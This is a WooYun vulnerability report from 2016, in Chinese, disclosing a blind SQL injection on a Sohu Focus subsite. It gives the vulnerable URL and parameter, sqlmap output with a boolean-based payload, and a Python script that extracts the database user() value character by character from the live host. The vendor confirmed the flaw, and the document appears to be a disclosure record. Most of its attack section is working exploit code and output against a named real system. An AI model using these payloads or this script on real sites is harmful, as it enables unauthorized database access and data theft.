当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0184451

漏洞标题:搜狐焦点某分站的SQL注入

相关厂商:搜狐

漏洞作者: 李长歌

提交时间:2016-03-14 11:43

修复时间:2016-04-28 12:24

公开时间:2016-04-28 12:24

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-14: 细节已通知厂商并且等待厂商处理中
2016-03-14: 厂商已经确认,细节仅向厂商公开
2016-03-24: 细节向核心白帽子及相关领域专家公开
2016-04-03: 细节向普通白帽子公开
2016-04-13: 细节向实习白帽子公开
2016-04-28: 细节向公众公开

简要描述:

搜狐焦点某分站存在SQL注入。sqlmap依然没法跑出数据,附测试脚本

详细说明:

存在注入的链接:
http://office.focus.cn/group/photo_search.php?group_id=80000&page=1&search_area=thesite&search_str=&search_type=picname&submit=%cb%d1%cb%f7%cd%bc%c6%ac

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: search_str (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: group_id=80000&page=1&search_area=thesite&search_str=%' AND 9250=9250 AND '%'='&search_type=picname&submit=%cb%d1%cb%f7%cd%bc%c6%ac
---
[11:35:40] [INFO] testing MySQL
[11:35:40] [INFO] confirming MySQL
[11:35:40] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.2
[11:35:40] [WARNING] information_schema not available, back-end DBMS is MySQL < 5. database names will be fetched from 'mysql' database
[11:35:40] [INFO] fetching number of databases
[11:35:40] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[11:35:40] [INFO] retrieved:
[11:35:40] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[11:35:40] [ERROR] unable to retrieve the number of databases
[11:35:40] [INFO] falling back to current database
[11:35:40] [INFO] fetching current database
[11:35:40] [INFO] retrieved:
[11:35:40] [CRITICAL] unable to retrieve the database names
[11:35:40] [WARNING] HTTP error codes detected during run:
403 (Forbidden) - 11 times


有WAF SQLmap获取数据或返回403

漏洞证明:

import os,sys,re,string
import requests as requests
payloads = list(string.ascii_lowercase)
payloads += list(string.ascii_uppercase)
for i in range(0,10):
payloads.append(str(i))
payloads += ['@','_', '.']
try:
for i in range(1,22,1):
for payload in payloads:
res = requests.get('http://office.focus.cn/group/photo_search.php?group_id=80000&page=1&search_area=thesite&search_str=%%\'AND ascii(mid(user(),%s,1))=%s AND\'%%\'=\'&search_type=picname&submit=%%cb%%d1%%cb%%f7%%cd%%bc%%c6%%ac' % (i, ord(payload)),timeout=3)
if len(res.text) > 60000:
print payload,
except Exception, e:
print e


当前的数据库信息

QQ截图20160314113841.jpg

修复方案:

修复

版权声明:转载请注明来源 李长歌@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2016-03-14 12:24

厂商回复:

感谢支持。

最新状态:

暂无


漏洞评价:

评价